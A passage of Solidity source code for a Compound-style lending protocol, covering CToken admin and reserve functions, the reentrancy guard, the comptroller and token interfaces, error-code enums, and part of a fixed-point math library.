FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; import "./ExponentialNoError.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @dev Legacy contract for compatibility reasons with existing contracts that still use MathError * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath, ExponentialNoError { /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, 